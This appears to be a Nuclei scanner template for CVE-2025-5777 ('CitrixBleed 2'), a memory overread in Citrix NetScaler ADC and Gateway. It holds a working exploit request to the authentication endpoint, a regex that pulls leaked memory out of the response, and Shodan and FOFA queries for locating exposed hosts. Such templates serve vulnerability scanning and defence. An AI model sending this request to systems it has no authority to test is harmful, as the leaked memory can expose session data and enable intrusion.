漏洞描述
Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
id: CVE-2025-5777
info:
name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
author: watchtowr,DhiyaneshDk,darses
severity: critical
description: |
Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
reference:
- https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
- https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
classification:
epss-score: 0.69082
epss-percentile: 0.98565
metadata:
verified: true
max-request: 1
shodan-query:
- title:"NetScaler Gateway"
- title:"NetScaler AAA"
- http.favicon.hash:-1166125415
- http.favicon.hash:-1292923998
fofa-query:
- title="NetScaler Gateway"
- title="NetScaler AAA"
- icon_hash="-1166125415"
- icon_hash="-1292923998"
tags: cve,cve2025,netscaler,citrix,exposure,kev,vkev,vuln
http:
- raw:
- |+
POST /p/u/doAuthentication.do HTTP/1.0
Host: {{Hostname}}
bleed_attack: {{iteration}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 5
login
unsafe: true
payloads:
iteration:
- "{{rand_int(1,5)}}"
extractors:
- type: regex
name: iv
part: body
group: 1
regex:
- '<InitialValue>([^<]{10,})</InitialValue>'
internal: true
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'len(iv) > 0'
- 'contains(to_lower(header), "application/vnd.citrix.authenticateresponse")'
- '!contains(body, "<InitialValue></InitialValue>")'
- '!contains(to_string(iv), "false")'
- '!contains(to_string(iv), "true")'
- '!regex("^[A-Za-z0-9+/=\\s]+$", iv)'
condition: and
# digest: 4b0a00483046022100d6df40f80e0a0f1156174a35f62300f8d07f9e6c82d8ced717b2c009ecd5418b0221009b75c7e894c7e56ce1c7a3ef790dd24c09d26b35c2e2e443524cd4a28dcef4a0:922c64590222798bb761d5b6d8e72950